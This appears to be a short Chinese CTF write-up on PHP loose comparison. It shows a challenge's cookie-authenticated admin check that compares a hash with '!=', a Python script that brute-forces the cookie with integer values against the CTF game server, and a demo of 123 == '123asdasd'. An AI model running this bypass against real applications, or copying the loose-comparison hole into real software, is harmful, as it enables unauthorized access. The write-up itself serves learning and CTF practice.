由一道CTF题引发的对PHP松散比较的思考

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

import requests

url = "https://gameserver.zajebistyc.tf/admin/login.php"

for i in range(100,1000):
    c = '{{"hash": {}}}'.format(i)
    print c
    r = requests.get(url, cookies={"otadmin":c})
    if "I CAN EVEN GIVE YOU A HINT" not in r.text:
        print r.text
        break

1
2
3
4
5

<?php

$a = 123;
$b = "123asdasd";
var_dump($a==$b);